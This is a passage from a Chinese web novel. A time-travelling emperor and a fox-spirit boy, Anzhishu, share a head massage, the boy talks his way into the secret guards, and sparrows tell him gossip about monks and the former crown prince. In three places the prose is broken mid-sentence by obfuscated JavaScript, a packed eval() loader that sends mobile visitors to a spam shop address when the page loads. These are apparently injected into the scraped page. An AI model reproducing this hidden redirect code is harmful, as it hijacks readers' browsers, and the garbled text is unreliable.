安稚舒闻声懵懵地抬起头:“陛下不是说药太烫了吗?” 他见吹得差不多了,便端着碗,小心翼翼地走过来,双手捧到商缙言面前:“现在不烫了,陛下喝药。” 声音软软的。 商缙言摆摆手:“放着吧,我不想喝。” 安稚舒捧着药碗的手顿了顿,眉眼耷拉下来:“……好吧。” 没有立刻走开,依旧捧着碗站在那里,像只被人类拒绝投喂后不知所措的小动物。 立在下面的裴竣目睹这一切,嘴角忍不住抽搐了一下,张了张嘴,又闭上。 就在这诡异的氛围中,安稚舒又有了动静。 他舀起一勺药汁,直接递到了商缙言的嘴边,仰着脸,声音比刚才更软地央求:“陛下就喝一口吧,就一口,好不好?” 商缙言十分仓促地避开他的动作,抬手接过药碗,将药汁一饮而尽。 还没等他拿水漱口,安稚舒已经不知从哪里变出了一小碟蜜饯果子,用漂亮纤细的手指捏着一颗,再次递了过来。 商缙言甚至瞥见他抬起的手腕上,那串自己送的小银镯正随着动作轻轻晃动。 “陛下,药很苦的,要不要吃点蜜饯?”少年体贴地说。 裴竣:…… 他觉得自己可能真的应该立刻走了。 商缙言看看安稚舒一脸“快吃呀”的纯然表情,似乎感觉头疼隐隐转移了位置…… 总觉得安稚舒手里捏着的不是蜜饯。 而是葡萄。 他有些僵硬地说:“……不用,你放着就行。” “哦……”安稚舒听话地把蜜饯碟子放回桌上。 小狐狸站在原地踌躇了一下,似乎在犹豫什么。 最终,他下定了决心,又往前挪了一小步,试探道: “那陛下要不要躺我腿上?” 裴竣:?? 商缙言:??! 商缙言几乎以为自己听错了:“我躺你腿上干什么?!” 这又是搞什么啊? 安稚舒这次也没吃药啊! 安稚舒无辜地眨了眨眼:“陛下不是头疼吗?我给陛下按头,躺在我腿上会比较方便。” 说着,他窸窸窣窣抬起手,慢慢伸向商缙言的太阳穴。 商缙言眼疾手快,一把抓住了他伸过来的手腕。 不是?! 这是做什么? 安稚舒怎么对他时冷时热的!!! 14.狐要当暗卫! 商缙言抓着安稚舒的手腕,两人之间的空气仿佛凝滞了。 他本就因烦心事作痛的脑袋如今更加闷得发胀,几乎是带着点无奈开口:“我没事,喝完药好多了,真的不用你帮忙揉,谢谢。” 蔡汶这老家伙到底跑哪里去了?! 听见他再次拒绝,安稚舒失落地抽回手:“那好吧。” 但他还不死心,很认真地看着商缙言:“陛下以后头疼都可以叫我的,我随时可以帮陛下按按。” 商缙言被他这锲而不舍的服务精神弄得有点摸不着头脑,下意识反问:“你是有什么特殊的手法么?” 安稚舒诚实地摇头:“没有。”他又像是怕商缙言嫌弃,急忙补充:“我可以学的,我很好用。” 商缙言被这诡异的直白给吓得连连摆手:“真不用!” “哦……”安稚舒彻底蔫了,垂着脑袋,安静地退到一旁角落站着,不再吭声。 只是一直在用可怜兮兮的眼神看着商缙言。 商缙言这才暗暗松了口气,试图将注意力拉回正事,示意裴竣继续汇报。 裴竣哪还有什么能汇报的,只好把刚才的事情又重复一遍。 顶上的皇帝早已心不在焉了。 旁边就杵着一个存在感极强的大美人,商缙言一边听着裴竣讲话,心思不受控制分了一缕在安稚舒身上。 他下意识伸手去拿旁边的茶盏,指尖刚碰到杯壁,另一只手便抢先一步,将茶盏稳稳地递到了他手边。 是安稚舒。 不知何时,他又悄无声息地凑近了。 商缙言无可避免地碰到了安稚舒的指尖,心头一跳,下意识地想缩手,却又硬生生止住。 他定了定神,迅速接过茶盏,揭开盖子仰头喝了一大口,试图压下那点莫名其妙的感觉。 一抬眼,安稚舒还乖乖站在那里。 商缙言心头无端软了一下,升起一个念头。 难道……是因为自己在饮食上关照了他,这小家伙就想用这种方式来报答? 商缙言握着茶盏的手无意识地摩挲着,思绪有些飘远。 茶水不知不觉又见底了,他放下,又下意识拿起,送到嘴边才发现早就喝完了。 终于,商缙言再次将空茶盏放下,抬手用力捏了捏眉心。 “朕的头……”他缓缓开口,“好像又有些疼了。” 裴竣一愣:“属下这就去请蔡公公传太医。” “不必。”商缙言打断他,目光转向旁边耳朵几乎要竖起来的安稚舒,语气复杂,“你来给朕按按吧。” 安稚舒一愣,随即脸上绽开毫不掩饰的喜悦,立刻快步凑了过来,眼睛亮晶晶的:“那陛下要躺在我的腿上嘛?” 商缙言看着他这幅模样,心头那点别扭被冲淡了些,矜持地道:“躺吧。” 就这么高兴?报答心就这么强? 安稚舒立刻喜滋滋地坐好,调整了一下自己的姿势,拍了拍自己的大腿,示意准备好了。 商缙言心情更加复杂。 他甚少与人有这般亲密的肢体接触,此刻四肢都有点僵硬,像死了有一阵了。 他有点迟疑地将头枕在了少年的腿上。 脑袋底下垫着的不是硬枕,而是另一个人的身体,这种感觉令商缙言浑身不自在,却又莫名地不排斥。 安稚舒见他躺好,立刻伸出双手,轻轻按在了商缙言的太阳穴上。 动作起初有些生疏,但他很快找到了节奏,一圈一圈地揉按着,力道恰到好处地舒缓着紧绷的神经。 少年身上那股混合了皂角的幽香,丝丝缕缕地飘入了商缙言的鼻息。 勾得他心头火热。 好香。 有点想抱着他的腰深深吸一口。 商缙言被自己的念头吓一跳,赶紧定了定神。 也太痴汉了。 他清了清嗓子,催促底下呆若木鸡的裴竣:“别傻愣着,继续说。” 裴竣完全不敢向上看一眼:“是。” 这场景这姿势…… 商缙言忍不住想:自己也是拿到昏君体验卡了。 “陛下,目前该做的暗卫所已经尽数部署完毕,眼下也只能再静待时机,在护国寺这段时日,想必对方定然憋不住,还会再生事端。”裴竣顿了顿道:“臣倒是觉得,或许还有另一个突破口……” 商缙言慢慢地“嗯”了一声,表示自己在听。 他当然知道裴竣指的是什么突破口。 滴血验妖。 这是护国寺地位超然的重要资本,不信的、反抗的,都已经被打成“狐妖”处理了。 反正死人又不会反抗。 对于商缙言这种接受过九年义务教育的人而言,这玩意儿一听就是无稽之谈。 世上哪有什么狐妖?他穿来这么久,就只有安稚舒在勾引他,也没见到什么狐妖,连狐狸都没见着几只像样的。 反倒是护国寺将这法子捂得严严实实,不容外人窥探,十分可疑。 眼下,他唯一能接触到验妖过程的,似乎就只有迟迟没去验看的安稚舒。 商缙言陷入沉思。 他挥了挥手,示意裴竣可以退下了。 裴竣溜得飞快,一刻也不敢多待。 屋内只剩下他们两人,气氛忽然变得格外安静。 安稚舒还是按得很认真,很卖力。 商缙言忽然开口:“你这么冷的天,不在自己的屋里好好呆着取暖,跑朕这里来干什么?” 安稚舒正专心致志地工作,闻言动作微微一顿。 他上午还躲着人家,下午就上赶着献殷勤,这转变确实有点突兀。 安稚舒心虚地垂眼:“我……我想陛下了不可以吗?” 商缙言原本只是随口一问,听到这话猛地直起身。安稚舒正低头给他按摩,一时不备,险些被他撞翻。 “你想我干什么?“商缙言脱口而出,语气惊愕。 不对,这话听起来倒像是在调情。他连忙改口,命令道:“不许想!” 安稚舒抿了抿唇,顺从道:“那好吧。” 反正他也没真的在想。 他又给商缙言倒了杯温茶递过去,像是终于找到机会,犹犹豫豫地问:“陛下,护国寺还要封多久呀?” 为了打听白狐狸的消息,他刚才一直竖着耳朵听商缙言和裴竣的对话,大致明白目前僵局,心中不免焦急起来。 商缙言接过茶水喝了一口,恢复了些懒散的姿态:“看朕心情吧。” 安稚舒听了,忍不住嘀咕:“那能不能快点呀,我一点都不喜欢待在佛寺。” 讨厌和尚,讨厌这里压抑的气氛。 商缙言瞥了他一眼。 少年心思几乎全写在脸上,一览无余。 他讨厌佛寺,讨厌和尚,商缙言是知道的。 甚至能隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112376|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉,安家那几个似乎都对和尚没什么好感。 不过他眼下自顾不暇,没心思深究别人家的事情。 商缙言淡淡说:“放心,在朕这儿基本碰不上和尚。” 安稚舒不接话。 胡说,他都在这里碰到过两次和尚了。 话题似乎又冷了下来。 安稚舒独自在心里掰扯了半天,觉得铺垫得差不多了,自以为非常不经意地问道:“那陛下当时为什么取消狐祭呀?” 商缙言:…… 他沉默了一下,缓缓侧过头,目光平静地看向满脸心虚的安稚舒。 这话题也转得太生硬了吧? 套话套得一点技巧都没有,是生怕别人看不出来吗? 不过,商缙言很快就将安稚舒踢出了嫌疑人行列。 一方面在原著中,他俩是睡得不能再熟的关系,而且他是加害者,安稚舒是被害者。 另一方面,应该没有人会派这么笨的探子来吧?那也太不专业了。 “就是外面说的那样呗。”商缙言模棱两可地回答。 安稚舒想了想,眼睛微微睁大:“所以陛下真是预测到了刺客的行动,所以才提前取消了狐祭?” 商缙言矜持地点了点头,没好意思说当时自己只是一时兴起,误打误撞。 反正祭礼结束之后,不少朝臣都这么恭维他,各种马屁拍得天花乱坠,他也就半推半就地应承了。 毕竟,一时兴起和先见之明,显然后者听起来更英明神武。 出门在外,爷们儿也是要脸的。 果然,安稚舒听完眼睛亮了起来,真心实意地夸赞:“陛下好厉害呀。” 这话没什么华丽的辞藻,却比朝臣那些溢美之词更让龙心大悦。 安稚舒见状,趁热打铁,又绕着圈将商缙言夸了好几句,虽然词汇有限,但胜在表情真挚。 见氛围似乎更融洽了,安稚舒终于问出那个最关键的问题:“那现在那只白狐狸,在哪里呀?” 商缙言目光又审视起来。 安稚舒心头一慌,连忙找补:“我就是有些担心,那些人会不会又要搞什么破坏?毕竟白狐是祭祀之品,这次没用上,下次也能用得上。” “嗯。”商缙言看了他几秒,才慢悠悠地拿起茶杯,又喝了一口,有意吊着他的胃口,然后才施施然道:“在暗卫那儿养着呢。” 安稚舒的脸色瞬间变了。 白狐狸还活着,这无疑是个好消息。 可是……在暗卫手里?!那简直是龙潭虎穴,根本不是他们这些普通狐狸能接触的地方! 必须马上告诉阿爹这个消息……但时间拖得越久,那只白狐在暗卫手中就越危险,谁知道他们会不会发现什么,或者干脆处理掉? 怎么办? 安稚舒急得手心冒汗,无意识地攥紧了衣袖, 他现在只是个空有爵位,没有实权的小侯爷,连宠妃都算不上,皇帝都没睡他呢,根本不可能使唤得动那些凶神恶煞的暗卫。 必须想办法接近暗卫,探听消息,甚至混进去…… 一个近乎异想天开的念头,猛地窜入安稚舒的脑海中。 他未经思考,就脱口而出:“陛下,我想当暗卫!” 商缙言正端着茶杯,闻言,一口茶险些呛进气管,剧烈地咳嗽起来。 他好不容易顺过去,抬起头惊奇地看向安稚舒:“你?当暗卫?” 15.狐开始上班! 安稚舒仰着脸,眼睛睁得圆溜溜的,期待地点了点头。 商缙言不解地看着他,眉头微蹙:“你为何非要当暗卫?” 天天吃吃喝喝,做个闲散富贵侯爷多好?就像他做梦都想要躺平生活,哪像现在,他年纪轻轻,才来几个月,班味就很重了。 更何况安稚舒实在不适合当暗卫。 暗卫讲究的是隐匿、低调,可安稚舒这张脸,走到哪里都是焦点。 “不可以吗?”安稚舒小声反问,“天天待在这里太闷啦,臣也想找点事情做,而且还能赚点月俸。” 商缙言被他的说法逗笑了:“你如今是侯爵,自有朝廷俸禄供养,还不够你花销?” 安稚舒:“臣不嫌钱多的。” 商缙言闻言,略一沉吟,还真想到一个主意,“若真想找点事做,朕这儿倒是有个清闲又体面的好差事,油水也足,不如……” “是什么呀?”安稚舒下意识追问,但很快他想起自己当暗卫的目的,语气变得勉强:“算了吧,臣还是很想当暗卫。” “暗卫岂是随随便便能当的?”商缙言否决,“朕不让你去。” 安稚舒急了,也顾不上什么规矩,下意识伸手抓住商缙言宽大的衣袖,轻轻扯了扯:“陛下……” 商缙言沉默。 过了半晌,他才从牙缝里挤出一句:“不许撒娇。” 安稚舒被他这么一说,闷闷不乐地收回手。 商缙言看着他这幅委屈巴巴的小模样,心里那点坚持忽然就松动了大半,甚至有点想笑。 也不知道安稚舒跟谁学的,撒娇的功力日益见长。 他盯着安稚舒思索片刻,一个念头逐渐成型。 “这样吧。”商缙言缓缓开口,“朕可以让你去暗卫所,试工七日,俸禄按正常暗卫的份额给。七日之后,若裴竣觉得你合格,你便可以正式留下。如何?” 他还是不想让安稚舒去暗卫所。 没别的原因,就是觉得没必要,只要自己在,安稚舒是不会出事的。 可一个更现实的情况摆在了眼前——他终究是要想办法回现代的。 他的家人、朋友、真正属于他的生活,都在那里。 他不可能永远留在这里当皇帝。 一旦他离开,这具身体的原主是否会回来?或者这个世界会怎样?商缙言不清楚。 但他知道,若安稚舒只是个空有爵位,没有自保能力的闲散侯爷,等他这个靠山一倒,那些捧高踩低的人,难保不会将怨气发泄到安稚舒头上。 让安稚舒去历练历练也好。 安稚舒一听事情有转圜余地,迫不及待地应道:“我肯定可以做到的!” “当然,朕也不是白给你机会的。”商缙言想到另一件事,“过几日有件事需要你帮朕一个小忙,届时你可不能推辞。” 安稚舒此刻满心都是喜悦,根本没细想是什么忙,就傻乎乎地应下。 小狐狸成功被皇帝直聘,心花怒放,马上就找了个借口溜回安济那里,将此事告知了族中长辈。 经过一番紧密的商讨,众狐狸举爪通过决议,同意安稚舒去当天底下第一只暗卫狐,务必借此机会打探出白狐狸的状况。 当日傍晚,商缙言便亲自领着安稚舒,去了暗卫所在护国寺内临时驻扎的院落。 暗卫是原主一手建立并牢牢掌控的私军,算是商缙言为数不多可以信任的力量。但因暗卫职责特殊,手段有时颇为酷烈,在朝野内外恶名昭彰。 又因暗卫执行任务时,常常需要长时间潜伏在房顶伸颈探听,被私下里戏称为“白鹤”。 不过商缙言亲眼见过他们蹲守的样子后,觉得那沉思状的姿态,更像是夜晚蹲在河边,长着两根蟑螂须的夜鹭…… 商缙言一走进院中,便毫不客气地占据了唯一一张舒适的躺椅,懒洋洋地点了点身旁规规矩矩站着的安稚舒,对裴竣道:“你看看暗卫所这边,有没有什么适合小侯爷做的活?” 裴竣平日里虽木讷,但处理这种明显带着特殊关照的事情上,反应还是很快的。他立刻给出一个最稳妥的方案:“陛下,依臣之见,便让小侯爷全天跟随在陛下身边,护卫陛下安全。” 安稚舒觉得这工作听起来很不错,不假思索道:“好。” 旁边的商缙言打断道:“朕身边近卫人员充足,就不必再额外排人过来了。” 开什么玩笑?把安稚舒天天拴在自己眼皮子底下朝夕相对,这不是在考验他的定力吗? 裴竣被皇帝断然拒绝,一时有些卡壳。 半晌,他干巴巴地看向安稚舒:“不知小侯爷可擅长些什么?” 安稚舒仔细想了想:“我揍人应该挺厉害吧?” 裴竣立刻接话:‘那正好,裴三正负责核查登记寺内所有僧人的度牒,有些僧众反抗比较激烈,正是缺人手的时候……’ “不妥。”商缙言又开始打断:“他是来当暗卫的,又不是当打手的。” 安稚舒怕和尚,让他天天跟和尚打交道,岂不是容易把人吓出个好歹来…… 裴竣顿了顿,又道:“那……裴五这几日告病,他负责监察兵部尚书的动向,眼下正缺人手接替……” 商缙言又开始指手画脚:“让他去盯那个糟老头子又什么意思,还不如盯着朕看呢,朕好歹年轻。” 裴竣:…… 他深吸一口气,尝试问道:“那不如让小侯爷跟着仵作?说不定以小侯爷的细心,能在那几具刺客尸首上发现我们遗漏的线索……” 商缙言的脸色以肉眼可见的速度沉了下来。 好吧。裴竣明白了。接触死人?更不行。 说好的“随意安排”呢?结果样样都不行。 裴竣有点头疼,也有点摸不着头脑了。 安稚舒敏锐察觉到气氛的尴尬,想了想,小声开口:“我其实还会探听情报的。” “哦?”商缙言来了兴致,微微坐直身体,“你还有这本事?” 安稚舒点点头。 狐狸的情报网还是很广泛的。 商缙言见状,顺势对裴竣道:“那正好,你就看着给小侯爷安排些吧。记住,小侯爷是新人,凡事要慢慢来,一开始千万不要安排太复杂太危险的任务,明白吗?” 裴竣哪里还听不懂这言外之意?这就是要活越轻松越好,安全第一。 ……又想让人历练,又怕这怕那不舍得放手,哪有这么好的事。 “那便劳烦小侯爷了。护国寺内俗僧混杂,人员往来众多,暗卫所人手有限,总有些七零八碎的消息是我们难以兼顾的。小侯爷若有余力,不妨多留意探听此类消息,若有价值,随时可报于臣知晓。” 这差事基本上等于没有固定任务,全凭自觉。 安稚舒见终于给自己安排下来了,用力点头:“好,我一定尽力。” 他领到了一套新的暗卫服,喜滋滋地抱在怀里,跟着商缙言离开。 如今总算是半只脚踏了进来,但想要知道那白狐狸的下落,还得更加努力,获取裴竣的信任。 在此之前,一定要将裴统领安排的第一个工作给办得漂漂亮亮! …… 后日才是正式点卯上任的日子。 小狐狸将簇新的暗卫服仔细叠好,放在自己枕边最顺手的位置看管了一整天。 待到天光微亮,他便迫不及待地睁开眼,窸窸窣窣爬起身,将那身衣服仔细穿戴齐整,对镜照了照。 镜中少年身姿挺拔,乌发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116528|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束起,瞧着很是干练。 用过早膳,安稚舒心里便开始盘算裴竣给的那个任务。 这差事说难不难,说简单也绝不简单——范围太模糊了,他初来乍到,哪里知道暗卫已经掌握了哪些消息,哪些又是他们不知道的? 不过,笨狐狸也有笨狐狸的法子。 安稚舒犹犹豫豫地找到蔡汶,凑过去小声问:“蔡公,膳房里还有没有多余的糕点呀?” 蔡汶见是他,脸上堆起慈和的笑:“小侯爷是想用些点心?巧了,膳房刚新做了一笼糕点,奴婢这就让人给您端一碟来?” 安稚舒连忙摇头,用手比划:“不用一碟,就一块,用油纸包着给我就好。” 蔡汶虽不解其意,但也不多问,亲自去膳房拣了快最精致的糕点,用干净的油纸仔细包好,递到安稚舒手里:“小侯爷拿好,小心烫。” “谢谢蔡公!”安稚舒接过油纸包,像得了什么了不得的宝贝,转身便跑开了。 他抱着油纸包,一路小跑到一处僻静的地方,左右张望确认无人,这才放心。安稚舒深吸一口气,身形微晃,原地便只剩下一只嘴里叼着油纸包的小狐狸。 油纸包对于狐狸嘴巴来说有点大,他只能小心翼翼地用牙齿叼着边缘。蓬松大尾巴在身后兴奋地摇了摇,四只黑爪爪直接在地上印出一串梅花印。 今日他特地没有佩戴任何银饰,免得上次的事情再度发生。 小狐狸在雪地上打了个滚,试图让洁白的雪粒沾满全身,好稍稍遮掩一下自己这过于显眼的火红毛毛。 可惜效果甚微。 滚了几圈,成功从狐狸变成了蘸满糖霜的橘子馅糯米糍。 更麻烦的是,天气实在太冷。他在平时小动物们常出没的灌木丛找了半天,除了几只冻僵的虫子,竟没见到什么活物。连平时聒噪的麻雀都躲得不见踪影。 小狐狸有些沮丧地用爪子刨了刨雪,露出底下枯黄的草茎。 他歪着脑袋想了想,忽然冒出一个大胆的念头。 去和尚们居住的禅房附近碰碰运气? 说干就干。小狐狸叼紧油纸包,沿着墙根悄无声息地向目的地潜行。 安稚舒努力竖起耳朵,仔细分辨风中传来的声响。 忽然一阵叽叽喳喳的喧闹声传入耳中。 是数量不少的麻雀。 小狐狸心头一喜,连忙躲到一块大石头后面,压平耳朵,只露出一点点毛绒绒的额顶和一双眼睛,朝声音来源处望去。 只见前方一处向阳的石阶旁,果然聚集着一小群圆滚滚的麻雀,显然在这儿没少得到心软僧人的布施。 小鸟球挤挤挨挨地站在石阶边缘,一边啄食着不知谁撒的零星谷粒,一边抖着羽毛。 安稚舒屏住呼吸,眼睛紧紧锁定了目标,一步一步慢慢向前移动。 距离越来越近,麻雀们依旧毫无察觉,甚至有两只为了争夺一粒较大的谷子,互相啄了几下,羽毛纷飞。 小狐狸猛地窜出! “叽——!!!” “喳喳喳喳!!!” 突如其来的庞然大物让麻雀群瞬间炸开,十几只胖麻雀扑棱着翅膀,慌乱地向四面八方飞散。 有两只站在最外围的倒霉鸟还没来得及完全起飞,便被两只从天而降的肉爪垫结结实实地按住了。 “叽!!” 安稚舒成功捕获目标,心里小小地得意了一下。 小狐狸努力板起毛绒绒的脸,让自己看起来尽量凶恶一点,对着爪下瑟瑟发抖的两只小鸟球呲牙。 做完这套威慑食物的流程,小狐狸重新凑近两颗吓得几乎要晕过去的小鸟球,用最礼貌的声音开口说道: “我可以找你们打听一点事情嘛?” 16.狐吃到了大瓜! 安稚舒那句彬彬有礼的话一出口,爪子底下的两只麻雀都愣住了,互相交换了一个眼神。 “大、大王饶命啊……”其中一只胆子稍大点的麻雀带着哭腔,声音细细弱弱地开口,“您想知道什么,我们都说,能不能先把爪子挪开?我们被压得有点喘不过气了……” 安稚舒连忙“哦”了一声,有点不好意思地挪开了自己的爪子。 两只麻雀重获自由,立刻抖了抖被压乱的羽毛,对视一眼。 就在安稚舒以为他们要乖乖配合时,其中一只突然扑棱着翅膀飞走,另一只见状,也毫不犹豫地跟上! 想跑?! 小狐狸反应更快,再次伸出前爪—— 精准无误地将两只麻雀按了下去。 “叽!” 这次狐狸可没那么客气了,故意恶声恶气道:“再跑我就真吃了你们。” 两只麻雀这下彻底老实了,瘫在爪子下,连哭都忘了哭:“不跑了不跑了!大王饶命,你想知道什么我们都告诉您。” “这才对嘛。”安稚舒满意地甩了甩蓬松大尾巴,“放心,我不会为难你们的,我知道你们消息最灵通了。我就想问问护国寺里有没有什么特别的消息呀?” 麻雀们闻言,这才松了口气。 原来是找它们打听八卦的啊! 真是的,差点吓出鸟命来。 “前几天不久发生了一件大事吗?”一只麻雀小心翼翼地说,偷偷瞄了小赤狐一眼,把“狐祭”这个词给咽了回去,“皇帝因为没有……嗯,加上又夺权篡位,杀了自己的亲兄长,所以遭到了天罚,好多人都受伤了呢。” 安稚舒无奈道:“不是这种。大家都知道的事情就不要拿出来讲了。” 这算什么秘密,他当时就在现场呢。 小麻雀恍然大悟。 是想听点不为人知的墙角根? 它歪着鸟头想了想:“前几日户部侍郎实在耐不住嘴馋,偷偷在禅房藏了烧鸡吃,结果香味飘出来,被他家娘子给逮了个正着!两人大吵一架,叮铃哐啷,砸碎了好多东西呢。” 安稚舒:…… 他狐脸无语:“这点小事,也不要拿出来说啦。” 祭礼期间四十九日不吃肉,没几个人能真忍住,连商缙言自己都吃。 不过好歹算个消息,小狐狸默默记下“户部侍郎惧内还偷吃”这条。 然后他勉为其难地用嘴巴和爪子配合,艰难拆开油纸包,小心掰了点碎屑给那只麻雀。 另一只始终没吭声的麻雀看到糕点,却只有同伴得了好处,连忙伸长脖子大声喊道:“我也有!我也有消息!更劲爆的!” 安稚舒眼睛一亮:“说。” “前段时日,就在这棵树后面,我看见大和尚身边那两个最得脸的弟子,偷偷躲在这里啵嘴!” 安稚舒:?! “而且可激烈了,那声音,连口水声我站在树枝上都听得一清二楚!吧唧吧唧的!” 安稚舒耳朵像被烫到一样猛地压平,整只狐都往后缩了缩:“他们不是和尚吗?!” 出家人怎么能……而且还是在寺庙里! 小麻雀可不懂什么职位尊卑,只管把那位被商缙言关起来的慧深大师称为“大和尚”。 见安稚舒反应这么大,它反而更来劲了:“这有什么,一心向佛的被这群人挤兑走了,留下的自然只是些歪瓜裂枣,和我们这些麻雀一样,天天什么都不干就可以来护国寺混皇粮吃。” 为了证明自己消息的真实,麻雀又补充:“就前几天,我还看见有个弟子偷偷把手往另一个弟子的屁股上伸……” 小狐狸耳根子滚烫,他并不是很想听这种细节! 他赶紧掰了比刚才更大块的糕点堵住麻雀的嘴。 另一只麻雀很不服气,也抢着说:“这的确不稀奇,师兄师弟,师父弟子,在一块换来换去玩的可正常了!他们有时候晚上还经常凑在一起,吃一种奇怪的药,吃完就一块玩,那场面,哎呦喂,简直没眼看!吱哇乱叫的,房顶都快被他们掀了!” 咦——!!! 安稚舒感觉自己的脸都快烧着了,恨不得用大尾巴将脑袋裹起来。 这都什么跟什么啊!护国寺,天子脚下,佛门清净地,住持身边居然这么混乱吗? 他在外流浪时,也见过一些小寺庙的和尚不太守规矩,可没想到护国寺也…… 小狐狸忍着脸热,声音都有些发飘:“难道就没人管管吗?” “有啊。” 先前那只麻雀终于把糕点咽下去:“另一个大和尚,叫慧尘的那个……他的弟子就很看不顺眼,其中有个小弟子好几次站出来指责他们。” 安稚舒闻言松了一口气。 先不提狐祭这事,这寺庙好歹还是有几个好和尚的…… 他点点头,赶紧又掰了点糕点递过去:“然后呢?” 麻雀低头哐哐猛啄糕点,边吃边含糊地说:“然后?那个管事的小和尚就死了呗。” 安稚舒爪子一僵:“嗯?” “就连他的师父也管了,导致那个叫慧深的大和尚都把自己那几个胡闹的弟子叫去,当众训斥了一顿。不过慧深大师又说,出家人慈悲为怀,人都有犯错的时候,就原谅他们了。” 安稚舒一言难尽道:“这算什么惩罚呀。” “几年前的事情了,谁叫慧深更讨先帝喜欢呢?”小麻雀事不关己道:“所以没几日就开始搞滴血验妖,第一个被验的就是那个管事的小和尚。一验——嘿!是狐妖!当场就被拖下去弄死了,他的师父慧尘大师当时哭得可伤心了,从此不再管护国寺之内的琐事。” 安稚舒哑然,半晌说不出话,甚至忘了给麻雀掰糕点。 那个告发检举的小和尚究竟是不是狐狸,人类并不清楚,可他心里门清。 他们狐族就没有跑去当和尚的。 安稚舒突然想起安济的话,这所谓的“滴血验妖”,筛子眼儿也太大了点。 一群真狐妖没筛出来,反倒把一个可能只是碍了别人眼的小和尚给清理掉了。 这碗里的水,该不会全凭某些人的心意来决定“泛不泛银光”吧? 小狐狸一时之间有些沉重得说不出话来。 干出如此光明正大污了佛门的事情,恐怕先帝……甚至前几位皇帝都是知晓,甚至纵容的。 所以这场狐祸到底和他们真狐狸有什么关系啊?! 不过安稚舒想起上次商缙言和慧尘大师对弈时气氛还算融洽。 或许这件事,慧尘大师早已告知商缙言了? 算了,一起记下来吧,总归是个重要情报。 小狐狸暂时把那些纷乱的思绪压下,歪着头问:“还有别的消息吗?” “有有有!”两只麻雀为了糕点争先恐后,“我想起来了,现在皇帝的爹还在的时候,好几次来找慧深大和尚,两个人嘀嘀咕咕大半天,好像特别讨厌现在这个皇帝,密谋着要偷偷弄死他呢。” 安稚舒一愣,瞳孔微缩:“为什么呀?” 麻雀道:“太聪明了呗,反正大和尚和上一个皇帝,还有现在的太后,都怕死他了。结果还没来得及动手,上一个皇帝自己就先死了。” 安稚舒说不出话来,心里涌上一股复杂的滋味。 他知道那种不被至亲喜欢的感觉,可原来商缙言也会这样吗? 因为儿子“太聪明”,不像正常小孩,就心生恐惧,甚至想除之而后快? 一些被安稚舒忽视的细节也在此刻悄然浮现…… 太后,商缙言的亲生母亲……就在这护国寺里静养着呢,结果商缙言遇刺,太后都没派一个人过来探望。 安稚舒想不明白。 就像到现在,他依旧觉得自己和商缙言之间……似乎总是隔着一层看不透的雾。 这么说来,商缙言突然下令将慧深关起来,就完全说得通了。 暗卫狐很努力地记下,这个消息倒是可以告知阿爹。 商缙言目前也是讨厌和尚的,虽然看起来像是想扶持更听话的和尚上位,然后继续执行“狐祭”……但至少短期内,在他和这些和尚斗法的日子里,他们狐族能稍微喘口气。 安稚舒定了定神,继续追问:“还有吗?关于先太子的事情你们知道吗?” 他光明正大偷听过商缙言和裴竣讨论太子余党,这次刺客就是他们纠集的,商缙言肯定最想知道关于先太子的事情。 “有有有!” 麻雀们来劲了,这可是个大瓜! “先太子以前可喜欢往护国寺跑了!因为他在护国寺里藏了个女人,那个女人还大着肚子呢!” 安稚舒疑惑道:“先太子不是喜欢男人吗?” “可他是太子啊。”麻雀理所当然道:“喜欢男人也得传宗接代,上一个皇帝也喜欢男人,他还不是生了一堆皇子。” 安稚舒:…… 好吧,也确实是这个道理。 “那现在那个孩子呢?” 小麻雀遗憾地摇摇头:“不知道有没有生下来,反正后来我再也没见到过那个女人。” 安稚舒听得差不多了,觉得今天收获颇丰。 油纸包里还剩下大半块的糕点。 他是一只很小气的狐狸,于是把糕点全部吃了。 两只麻雀重获自由,连忙抢着地上的糕点碎屑。 小狐狸甩了甩沾着雪沫的大尾巴:“谢谢你们嗷。” 他发自内心地夸赞:“你们看起来真的很好吃。” 两只麻雀:…… …… 告别这两只麻雀,安稚舒找了个僻静的雪堆,又痛快地打了好几个滚,将身上沾着的小鸟气息清理干净。 他这才慢悠悠地回去向裴竣述职。 今日收获的情报看似杂乱无章,实际上都牵扯到了商缙言最关心的问题—— 和尚、禁药、先太子。 只不过这三件事看似独立,却又隐隐和当前的僵局有着千丝万缕的关系,但是要怎么串联到一起…… 安稚舒根本梳理不出头绪。 等等。 小狐狸的脚步忽然顿住,盯着眼前平整的地面发愣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122429|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴竣虽然给他安排了任务,可好像并没有明确告诉他暗卫在调查什么,想要什么消息。 他这时才后知后觉意识到,商缙言同意让他来暗卫所……只是想让他找点事情打发时间罢了。 这可不行! 